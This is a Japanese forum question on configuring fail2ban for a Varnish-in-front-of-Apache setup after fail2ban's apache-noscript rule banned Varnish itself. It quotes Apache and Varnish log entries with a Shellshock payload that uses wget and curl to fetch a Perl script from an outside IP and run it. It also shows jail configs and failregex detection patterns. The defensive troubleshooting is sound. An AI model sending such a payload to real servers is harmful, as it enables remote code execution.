現在、2 つの IP を持つサーバーがあり、1 つは内部に、もう 1 つは外部にニスがあり、内部に apache バックエンドがあり、fail2ban はほとんどデフォルトで実行されています。
最近、ウェブサイトがダウンして 503 エラーが返され、fail2ban が apache-noscript ルールによってワニスが apache バックエンドと通信することを禁止していたことが判明しました。その後、IP アドレスの除外を追加したため、これが再び禁止されることはありませんが、理想的には、クライアントが将来禁止された場合に優先します。
Apache ログから
SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
ワニスログから
CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
私の apache-noscript 定義をレプリケートして varnishlogs を使用しても問題ないでしょうか。つまり、次のようになります。
[apache-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 2
なる
[varnish-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/varnish/varnishncsa.log
maxretry = 2
apache no script filter に次の failregex があることに気付きました
failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
主な問題は、上記の出力の varnishlog でこれが引き続き機能するかということだと思います。
どうもありがとう。
[編集] 偶然にも、noscript が禁止を行ったことが判明しましたが、上記のログ エントリについてはそうではありませんでした。ここで、上記のログ エントリの fail2ban 正規表現を作成します。